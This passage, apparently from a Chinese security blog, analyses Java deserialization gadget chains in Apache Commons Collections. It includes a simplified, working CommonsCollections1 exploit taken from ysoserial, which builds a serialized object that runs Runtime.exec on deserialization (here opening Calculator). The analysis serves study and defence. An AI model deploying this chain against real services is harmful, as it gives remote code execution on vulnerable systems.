Verdana;">CommonsCollections</span><span style="font-family: &#34;Droid Sans Fallback&#34;">利用的最基础的原理，已经在很久以前都被各位大佬，分析的烂熟了，所以这里我就只点到为止了，如果有不熟悉的可以去看一下</span><span style="font-family: Verdana;color: rgb(64, 128, 208);">@BadCode</span><span style="color: rgb(64, 128, 208);font-family: &#34;Droid Sans Fallback&#34;">写的分析</span><span style="font-family: &#34;Droid Sans Fallback&#34;">，非常的详细。</span></span></p><p style="margin-top:2px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">这边先看一下基础模块：</span><br/></p><p style="margin-right:275px;margin-left:98px;line-height:116%;"><span style="color:rgb(136,88,168);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">public void CommonsCollectionsTest() { String[] </span></code><code><span class="code-snippet_outer">          execArgs = new String[]{<span class="code-snippet__string">&#34;open</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">/Applications/Calculator.app/&#34;</span>};</span></code><code><span class="code-snippet_outer">          <span class="code-snippet__regexp">//</span> inert chain <span class="code-snippet__keyword">for</span> setup</span></code><code><span class="code-snippet_outer">Transformer transformerChain = new ChainedTransformer( new </span></code><code><span class="code-snippet_outer">          Transformer[]{new ConstantTransformer(<span class="code-snippet__number">1</span>)});</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__regexp">//</span> real chain <span class="code-snippet__keyword">for</span> after setup</span></code><code><span class="code-snippet_outer">        Transformer[] transformers = new Transformer[]{ new </span></code><code><span class="code-snippet_outer">                 ConstantTransformer(Runtime.<span class="code-snippet__keyword">class</span>),</span></code><code><span class="code-snippet_outer">   new InvokerTransformer(<span class="code-snippet__string">&#34;getMethod&#34;</span>, new </span></code><code><span class="code-snippet_outer">            Class[]{ String.<span class="code-snippet__keyword">class</span>, Class[].<span class="code-snippet__keyword">class</span>}, new </span></code><code><span class="code-snippet_outer">            Object[]{ <span class="code-snippet__string">&#34;getRuntime&#34;</span>, new Class[<span class="code-snippet__number">0</span>]}),</span></code><code><span class="code-snippet_outer">   new InvokerTransformer(<span class="code-snippet__string">&#34;invoke&#34;</span>, new Class[]{ Object.<span class="code-snippet__keyword">class</span>, </span></code><code><span class="code-snippet_outer">            Object[].<span class="code-snippet__keyword">class</span>}, new Object[]{ null, new Object[<span class="code-snippet__number">0</span>]}),</span></code><code><span class="code-snippet_outer">   new InvokerTransformer(<span class="code-snippet__string">&#34;exec&#34;</span>,</span></code><code><span class="code-snippet_outer">            new Class[]{String.<span class="code-snippet__keyword">class</span>}, execArgs), new </span></code><code><span class="code-snippet_outer">   ConstantTransformer(<span class="code-snippet__number">1</span>)};</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">setFieldValue(transformerChain, <span class="code-snippet__string">&#34;iTransformers&#34;</span>, transformers);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__regexp">//transform</span> 函数要求传入一个Object对象，但是不论传入什么都不会影响我们的命令执行，所以我这边就随便传入一个字符串</span></code><code><span class="code-snippet_outer">transformerChain.transform(<span class="code-snippet__string">&#34;aaa&#34;</span>);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size:13px;"> </span><br/></p><p style="margin-top: 0;margin-right: 13px;margin-left: 7px;text-indent: 0;"><span style="font-size: 14px;"><span style="font-family: Verdana;">CommonsCollections</span><span style="font-family: &#34;Droid Sans Fallback&#34;">造成</span><span style="font-family: Verdana;">RCE</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的根本原因就在于我们构造了一个特殊的</span><span style="font-family: Verdana;">ChainedTransformer</span><span style="font-family: &#34;Droid Sans Fallback&#34;">类的对象，这样当我们调用这个对象的</span><span style="font-family: Verdana;">transform</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数的时候，就会造成命令执行，于是,我们需要做的事情就是去寻找某个类,把包含恶意代码的</span><span style="font-family: Verdana;">transformerChain</span><span style="font-family: &#34;Droid Sans Fallback&#34;">放到这个类里面，当对这个类的对象进行反序列化的时候会调用</span></span></p><p style="margin-left: 7px;line-height: 22px;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: Verdana;">transformerChain</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-size: 14px;font-family: Verdana;">transform</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">函数。</span></span></p><p style="margin-top: 12px;margin-right: 0;margin-left: 7px;text-indent: 0;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">上代码前先把</span><span style="font-size: 14px;font-family: Verdana;">pom.xml</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的依赖给出来</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:0;margin-left:24px;text-indent:0;text-align:left;"><span style="color:rgb(199,40,41);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer" style="">&lt;<span class="code-snippet__name">dependencies</span>&gt;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">&lt;!-- <a href="https://mvnrepository.com/artifact/commons- " target="_blank">https://mvnrepository.com/artifact/commons- </a></span></span></code><code><span class="code-snippet_outer" style="">collections/commons-collections --&gt;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">&lt;!--</span></span></code><code><span class="code-snippet_outer" style=""><a href="https://mvnrepository.com/artifact/org.apache.commons/commons-collections4" target="_blank">https://mvnrepository.com/artifact/org.apache.commons/commons-collections4</a></span></code><code><span class="code-snippet_outer" style="">--&gt;</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer">           <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>org.apache.commons<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span></span></code><code><span class="code-snippet_outer">           <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>commons-collections4<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span></span></code><code><span class="code-snippet_outer">           <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>4.0<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span></span></code><code><span class="code-snippet_outer">       <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer" style="">&lt;!-- <a href="https://mvnrepository.com/artifact/commons- " target="_blank">https://mvnrepository.com/artifact/commons- </a></span></code><code><span class="code-snippet_outer" style="">collections/commons-collections --&gt;</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer">           <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>commons-collections<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>commons-collections<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>3.2.1<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span></span></code><code><span class="code-snippet_outer" style="">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer" style="">&lt;<span class="code-snippet__name">dependency</span>&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>com.nqzero<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>permit-reflect<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>0.3<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span></span></code><code><span class="code-snippet_outer" style="">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></code><code><span class="code-snippet_outer" style="">&lt;<span class="code-snippet__name">dependency</span>&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>junit<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>junit<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>4.12<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">scope</span>&gt;</span>test<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">scope</span>&gt;</span></span></code><code><span class="code-snippet_outer" style="">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></code><code><span class="code-snippet_outer" style="">&lt;!-- <a href="https://mvnrepository.com/artifact/org.javassist/javassist" target="_blank">https://mvnrepository.com/artifact/org.javassist/javassist</a> --</span></code><code><span class="code-snippet_outer" style="">&gt;</span></code><code><span class="code-snippet_outer" style="">&lt;dependency&gt;</span></code><code><span class="code-snippet_outer" style="">&lt;groupId&gt;org.javassist&lt;/groupId&gt;</span></code><code><span class="code-snippet_outer" style="">&lt;artifactId&gt;javassist&lt;/artifactId&gt;</span></code><code><span class="code-snippet_outer" style="">&lt;version&gt;3.25.0-GA&lt;/version&gt;</span></code><code><span class="code-snippet_outer" style="">&lt;/dependency&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer" style="">&lt;/<span class="code-snippet__name">dependencies</span>&gt;</span></code></pre></section><section style="margin-top: 0px;margin-right: 0px;margin-left: 24px;text-align: left;text-indent: 2em;"><br/></section><p style="margin-top:10px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:24px;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">注</span><strong><span style="font-family: Arial;">1</span></strong><span style="font-family: &#34;Droid Sans Fallback&#34;">：本次试验我这边主要使用了</span><strong><span style="font-family: Arial;">jdk1.7u21</span></strong><span style="font-family: &#34;Droid Sans Fallback&#34;">、</span><strong><span style="font-family: Arial;">jdk1.8_101</span></strong><span style="font-family: &#34;Droid Sans Fallback&#34;">、</span><strong><span style="font-family: Arial;">jdk1.8_171</span></strong><span style="font-family: &#34;Droid Sans Fallback&#34;">几个版本的</span><strong><span style="font-family: Arial;">jdk</span></strong><span style="font-family: &#34;Droid Sans Fallback&#34;">，所以关于漏洞适用的</span><strong><span style="font-family: Arial;">jdk</span></strong><span style="font-family: &#34;Droid Sans Fallback&#34;">可能存在总结不对的可能性，还望斧正</span></span></p><p style="margin-top:10px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:24px;"><span style="font-size: 14px;"><span style="font-size: 14px;text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">注</span><strong style="text-align: justify;"><span style="font-size: 14px;font-family: Arial;">2</span></strong><span style="font-size: 14px;text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">：关于试验适用的</span><strong style="text-align: justify;"><span style="font-size: 14px;font-family: Arial;">CommonsCollections</span></strong><span style="font-size: 14px;text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">版本，其实下面的每个</span><strong style="text-align: justify;"><span style="font-size: 14px;font-family: Arial;">payload</span></strong><span style="font-size: 14px;text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">基本都可以同时在</span><strong style="text-align: justify;"><span style="font-size: 14px;font-family: Arial;">3.1-3.2.1</span></strong><span style="font-size: 14px;text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">和</span><strong style="text-align: justify;"><span style="font-size: 14px;font-family: Arial;">4.0 </span></strong><span style="font-size: 14px;text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">版本适用，但是不同版本生成一些对象的方式会稍有不同，所以实验中标记的</span><strong style="text-align: justify;"><span style="font-size: 14px;font-family: Arial;">CommonsCollections</span></strong><span style="font-size: 14px;text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">适用版本是指</span><strong style="text-align: justify;"><span style="font-size: 14px;font-family: Arial;">ysoserial</span></strong><span style="font-size: 14px;text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">生成变</span><span style="font-size: 14px;text-align: justify;font-family: Arial;">量</span><span style="font-size: 14px;text-align: justify;font-family: &#34;Droid Sans Fallback&#34;">的时候用的是哪个版本的代码规范。</span></span><span style="text-align: justify;font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:1px;"><br/></p><h2><span style="font-family:Verdana;font-size:16px;">CommonsCollections1</span></h2><p style="margin-top:0;"><br/></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">适用版本：<span style="font-family: Verdana;">3.1-3.2.1</span><span style="font-family: &#34;Droid Sans Fallback&#34;">，</span><span style="font-family: Verdana;">jdk1.8</span><span style="font-family: &#34;Droid Sans Fallback&#34;">以前</span></span></p><p style="margin-top:13px;margin-right:8px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">这边先上</span><span style="font-size: 14px;font-family: Verdana;">CommonsCollections1</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的代码，为了便于阅读，这些代码都是我从</span><span style="font-size: 14px;font-family: Verdana;">ysoserial</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">里面抽离并简化了的，关键的部分已经给上了注释。</span></span><span style="font-size: 5px;text-align: justify;"></span></p><p style="margin-top:0;margin-right:0;margin-left:24px;text-indent:0;text-align:left;"><span style="color:rgb(136,88,168);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">import</span> <span class="code-snippet__selector-tag">java.io</span>.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">import</span> <span class="code-snippet__selector-tag">java.lang.reflect</span>.*; </span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">import</span> <span class="code-snippet__selector-tag">java.util.HashMap</span>; </span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">import</span> <span class="code-snippet__selector-tag">java.util.Map</span>;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">import</span> <span class="code-snippet__selector-tag">com.nqzero.permit.Permit</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">import</span> <span class="code-snippet__selector-tag">org.apache.commons.collections.Transformer</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">import</span> <span class="code-snippet__selector-tag">org.apache.commons.collections.functors.ChainedTransformer</span>; </span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">import</span> <span class="code-snippet__selector-tag">org.apache.commons.collections.functors.ConstantTransformer</span>; </span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">import</span> <span class="code-snippet__selector-tag">org.apache.commons.collections.functors.InvokerTransformer</span>; </span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">import</span> <span class="code-snippet__selector-tag">org.apache.commons.collections.map.LazyMap</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">import</span> <span class="code-snippet__selector-tag">static</span> <span class="code-snippet__selector-tag">sun.reflect.misc.FieldUtil.getField</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">public</span> <span class="code-snippet__selector-tag">class</span> <span class="code-snippet__selector-tag">CommonsCollectionPayload</span> { static </span></code><code><span class="code-snippet_outer">     String ANN_INV_HANDLER_CLASS =</span></code><code><span class="code-snippet_outer">&#34;sun.reflect.annotation.AnnotationInvocationHandler&#34;;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">     //getInvocationHandler用于获取名为handler的InvocationHandler实例，并将map传 入成员变量memberValues</span></code><code><span class="code-snippet_outer">public static InvocationHandler getInvocationHandler(String handler, </span></code><code><span class="code-snippet_outer">     Map&lt;String, Object&gt; map) throws Exception {</span></code><code><span class="code-snippet_outer">    //获取构造函数</span></code><code><span class="code-snippet_outer">    final Constructor&lt;?&gt; ctor = </span></code><code><span class="code-snippet_outer">Class.forName(handler).getDeclaredConstructors()[0];</span></code><code><span class="code-snippet_outer">    //获取handler的私有成员的访问权限，否则会报 can not access a member of</span></code><code><span class="code-snippet_outer">class sun.reflect.annotation.AnnotationInvocationHandler </span></code><code><span class="code-snippet_outer">    Permit.setAccessible(ctor);</span></code><code><span class="code-snippet_outer">    //实例化</span></code><code><span class="code-snippet_outer">return (InvocationHandler) ctor.newInstance(Override.class, map);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">//<span class="code-snippet__selector-tag">createMyproxy</span>用于返回<span class="code-snippet__selector-tag">handler</span>为<span class="code-snippet__selector-tag">ih</span>，代理接口为<span class="code-snippet__selector-tag">iface</span>的动态代理对象<span class="code-snippet__selector-tag">public</span> <span class="code-snippet__selector-tag">static</span> &lt;<span class="code-snippet__selector-tag">T</span>&gt; <span class="code-snippet__selector-tag">T</span> <span class="code-snippet__selector-tag">createMyproxy</span>(<span class="code-snippet__selector-tag">InvocationHandler</span> <span class="code-snippet__selector-tag">ih</span>, <span class="code-snippet__selector-tag">Class</span>&lt;<span class="code-snippet__selector-tag">T</span>&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">iface</span>) {</span></code><code><span class="code-snippet_outer">final Class&lt;?&gt;[] allIfaces = (Class&lt;?&gt;[]) Array.newInstance(Class.class, 1);</span></code><code><span class="code-snippet_outer">allIfaces[0] = iface; return</span></code><code><span class="code-snippet_outer">iface.cast(Proxy.newProxyInstance(CommonsCollectionPayload.class.getClassL oader(), allIfaces, ih));</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">//<span class="code-snippet__selector-tag">setFieldValue</span>用于设置<span class="code-snippet__selector-tag">obj</span>对象的成员变量<span class="code-snippet__selector-tag">fieldName</span>的值为<span class="code-snippet__selector-tag">value</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">public</span> <span class="code-snippet__selector-tag">static</span> <span class="code-snippet__selector-tag">void</span> <span class="code-snippet__selector-tag">setFieldValue</span>(<span class="code-snippet__selector-tag">final</span> <span class="code-snippet__selector-tag">Object</span> <span class="code-snippet__selector-tag">obj</span>, <span class="code-snippet__selector-tag">final</span> <span class="code-snippet__selector-tag">String</span> <span class="code-snippet__selector-tag">fieldName</span>, <span class="code-snippet__selector-tag">final</span> <span class="code-snippet__selector-tag">Object</span> <span class="code-snippet__selector-tag">value</span>) <span class="code-snippet__selector-tag">throws</span> <span class="code-snippet__selector-tag">Exception</span> {</span></code><code><span class="code-snippet_outer">Field field = null; try {</span></code><code><span class="code-snippet_outer">//获取私有成员变量</span></code><code><span class="code-snippet_outer">field = obj.getClass().getDeclaredField(fieldName);</span></code><code><span class="code-snippet_outer">//获取私有成员变量访问权限Permit.setAccessible(field);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">catch</span> (<span class="code-snippet__selector-tag">NoSuchFieldException</span> <span class="code-snippet__selector-tag">ex</span>) {</span></code><code><span class="code-snippet_outer">if (obj.getClass().getSuperclass() != null)</span></code><code><span class="code-snippet_outer">field = getField(obj.getClass().getSuperclass(),</span></code><code><span class="code-snippet_outer">fieldName);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">field.set</span>(<span class="code-snippet__selector-tag">obj</span>, <span class="code-snippet__selector-tag">value</span>);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">public</span> <span class="code-snippet__selector-tag">static</span> <span class="code-snippet__selector-tag">void</span> <span class="code-snippet__selector-tag">main</span>(<span class="code-snippet__selector-tag">String[]</span> <span class="code-snippet__selector-tag">args</span>) <span class="code-snippet__selector-tag">throws</span> <span class="code-snippet__selector-tag">Exception</span> { String[] execArgs = new String[]{&#34;open</span></code><code><span class="code-snippet_outer">/Applications/Calculator.app/&#34;};</span></code><code><span class="code-snippet_outer">// <span class="code-snippet__selector-tag">inert</span> <span class="code-snippet__selector-tag">chain</span> <span class="code-snippet__selector-tag">for</span> <span class="code-snippet__selector-tag">setup</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Transformer</span> <span class="code-snippet__selector-tag">transformerChain</span> = <span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">ChainedTransformer</span>(</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">Transformer[]</span>{new ConstantTransformer(1)});</span></code><code><span class="code-snippet_outer">// <span class="code-snippet__selector-tag">real</span> <span class="code-snippet__selector-tag">chain</span> <span class="code-snippet__selector-tag">for</span> <span class="code-snippet__selector-tag">after</span> <span class="code-snippet__selector-tag">setup</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Transformer[]</span> <span class="code-snippet__selector-tag">transformers</span> = <span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">Transformer[]</span>{ new ConstantTransformer(Runtime.class),</span></code><code><span class="code-snippet_outer">new InvokerTransformer(&#34;getMethod&#34;, new Class[]{ String.class, Class[].class}, <span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">Object[]</span>{ &#34;getRuntime&#34;, new Class[0]}),</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">InvokerTransformer</span>(&#34;<span class="code-snippet__selector-tag">invoke</span>&#34;, <span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">Class[]</span>{ Object.class, Object[].class}, <span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">Object[]</span>{ null, new Object[0]}),</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">InvokerTransformer</span>(&#34;<span class="code-snippet__selector-tag">exec</span>&#34;,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">Class[]</span>{String.class}, <span class="code-snippet__selector-tag">execArgs</span>), <span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">ConstantTransformer</span>(1)};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">//下面这部分为<span class="code-snippet__selector-tag">RCE</span>的关键部分代码 <span class="code-snippet__selector-tag">Map</span> <span class="code-snippet__selector-tag">innerMap</span> = <span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">HashMap</span>();</span></code><code><span class="code-snippet_outer">//生成一个<span class="code-snippet__selector-tag">lazyMap</span>对象，并将<span class="code-snippet__selector-tag">transformerChain</span>赋值给对象的<span class="code-snippet__selector-tag">factory</span>成员变量<span class="code-snippet__selector-tag">Map</span> <span class="code-snippet__selector-tag">lazyMap</span> = <span class="code-snippet__selector-tag">LazyMap.decorate</span>(<span class="code-snippet__selector-tag">innerMap</span>, <span class="code-snippet__selector-tag">transformerChain</span>);</span></code><code><span class="code-snippet_outer">//创建一个<span class="code-snippet__selector-tag">Map</span>接口的代理，并且为这个代理设置一个<span class="code-snippet__selector-tag">memberValues</span>为<span class="code-snippet__selector-tag">lazyMap</span>的<span class="code-snippet__selector-tag">AnnotationInvocationHandler</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Map</span> <span class="code-snippet__selector-tag">mapProxy</span> = (<span class="code-snippet__selector-tag">Map</span>) <span class="code-snippet__selector-tag">createMyproxy</span>(<span class="code-snippet__selector-tag">getInvocationHandler</span>(<span class="code-snippet__selector-tag">ANN_INV_HANDLER_CLASS</span>, <span class="code-snippet__selector-tag">lazyMap</span>), <span class="code-snippet__selector-tag">Map.class</span>);</span></code><code><span class="code-snippet_outer">//创建一个<span class="code-snippet__selector-tag">memberValues</span>为<span class="code-snippet__selector-tag">mapProxy</span>的<span class="code-snippet__selector-tag">AnnotationInvocationHandler</span>对象，这个对象也就是我们反序列化利用的恶意对象</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">InvocationHandler</span> <span class="code-snippet__selector-tag">handler</span> = <span class="code-snippet__selector-tag">getInvocationHandler</span>(<span class="code-snippet__selector-tag">ANN_INV_HANDLER_CLASS</span>, <span class="code-snippet__selector-tag">mapProxy</span>);</span></code><code><span class="code-snippet_outer">//通过反射的方式进行赋值，即使赋值在生成对象之后也没有关系</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">setFieldValue</span>(<span class="code-snippet__selector-tag">transformerChain</span>, &#34;<span class="code-snippet__selector-tag">iTransformers</span>&#34;, <span class="code-snippet__selector-tag">transformers</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">//将恶意对象存储为字节码</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">FileOutputStream</span> <span class="code-snippet__selector-tag">fos</span> = <span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">FileOutputStream</span>(&#34;<span class="code-snippet__selector-tag">payload.ser</span>&#34;); <span class="code-snippet__selector-tag">ObjectOutputStream</span> <span class="code-snippet__selector-tag">oos</span> = <span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">ObjectOutputStream</span>(<span class="code-snippet__selector-tag">fos</span>); <span class="code-snippet__selector-tag">oos.writeObject</span>(<span class="code-snippet__selector-tag">handler</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">oos.flush</span>();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">oos.close</span>();</span></code><code><span class="code-snippet_outer">//读取恶意对象字节码并进行反序列化操作</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">FileInputStream</span> <span class="code-snippet__selector-tag">fis</span> = <span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">FileInputStream</span>(&#34;<span class="code-snippet__selector-tag">payload.ser</span>&#34;); <span class="code-snippet__selector-tag">ObjectInputStream</span> <span class="code-snippet__selector-tag">ois</span> = <span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">ObjectInputStream</span>(<span class="code-snippet__selector-tag">fis</span>); <span class="code-snippet__selector-tag">Object</span> <span class="code-snippet__selector-tag">evilObject</span> = <span class="code-snippet__selector-tag">ois.readObject</span>();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">ois.close</span>();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin-top:0;margin-right:0;margin-left:24px;text-indent:0;text-align:left;"><span style="font-size:5px;"></span></p><p style="margin-top:1px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">看一下关键部分的调用栈</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:1px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.19293078055964655" data-s="300,640" style="" data-type="png" data-w="679" 